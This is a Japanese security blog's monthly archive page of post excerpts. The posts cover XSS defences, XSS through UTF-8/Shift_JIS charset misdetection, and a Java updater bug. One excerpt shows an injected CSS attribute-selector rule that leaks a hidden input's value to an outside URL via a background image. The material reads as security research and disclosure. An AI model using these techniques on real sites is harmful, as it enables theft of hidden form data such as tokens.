2009-08-01から1ヶ月間の記事一覧

結局XSS対策に必要なこと

エスケープ 正しいエンコーディング名の明示 応答への不正なバイト列注入の抑止 引用符の省略をしない スクリプトの埋め込みを許可する箇所の動適生成にはさらに別途対策が必要 (style:expressionとか javascript内の文字列の正しいエスケープのあり方とか)…

UTF-8の動的コンテンツをShift_JISと誤認させることで成立するXSS

文字コード指定の無いUTF-8のコンテンツでは、ブラウザ側の文字コード自動認識でシフトJISと誤認させることで、HTMLの特殊文字を一切使わずにXSSが成立する場合があります。 原理 UTF-8 では1文字が3バイトマッピングされる場合があります。そこで、これを…

スタイルシートだけでhiddenタグの内容を部分的に読み取る方法

以下のようなHTMLで hidden のvalueの値が数字2桁であることがすでにわかっている場合、 <input type="hidden" name="aa" value="xx"> <div class="bb"><span>text</span></div>こういうstyle指定を攻撃者が注入できれば、攻撃者がhiddenの内容を読み出すことが出来ます。 input[name="aa"][value^="0"]+div{background:url("http://exampl…

Update failure

いつも bug reportに対する反応が鈍いので blogに trackback送ってみる。 bug-idの桁数から考えると確認が追いついていないだけかもしれないけど。Security update of JavaI cannot update Java on my PC because of HTTP 404.Detail is witten in previous …

アップデートに失敗しても「このシステムはすでに最新...」と表示する問題

WindowsでコントロールパネルのJavaの設定画面からアップデートをしようとすると、実際にはアップデート失敗なのに「最新の状態です」「このシステムはすでに最新...」と表示される場合があります。Sunに出したバグレポートの要旨は以下の通り control panel…